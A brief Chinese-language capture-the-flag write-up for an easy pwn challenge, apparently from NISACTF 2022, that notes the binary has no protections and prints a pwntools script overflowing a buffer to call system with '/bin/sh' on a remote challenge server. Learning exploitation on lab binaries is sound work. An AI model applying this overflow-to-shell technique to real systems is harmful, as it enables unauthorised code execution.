签到题吧
checksec pwn 没有保护
进入main函数，点进shell ，buf 88808048buf
system 08048512
'/bin/sh 0804A024
直接让代码溢出调用system和/bin/sh
from pwn import * # 连接到远程服务 p = remote('node5.anna.nssctf.cn', 20789) # 构造 payload payload = b'a' * (0x48 + 0x4) + p32(0x08048512) + p32(0x804A024) # 发送 payload p.sendlineafter('NISACTF', payload) # 进入交互模式 p.interactive()
![NSS [NISACTF 2022]popchains](https://ucc.alicdn.com/pic/developer-ecology/hx2ljjpnymv5w_f6e2bcd783b64f37987dbb4509637e95.png?x-oss-process=image/resize,h_160,m_lfit)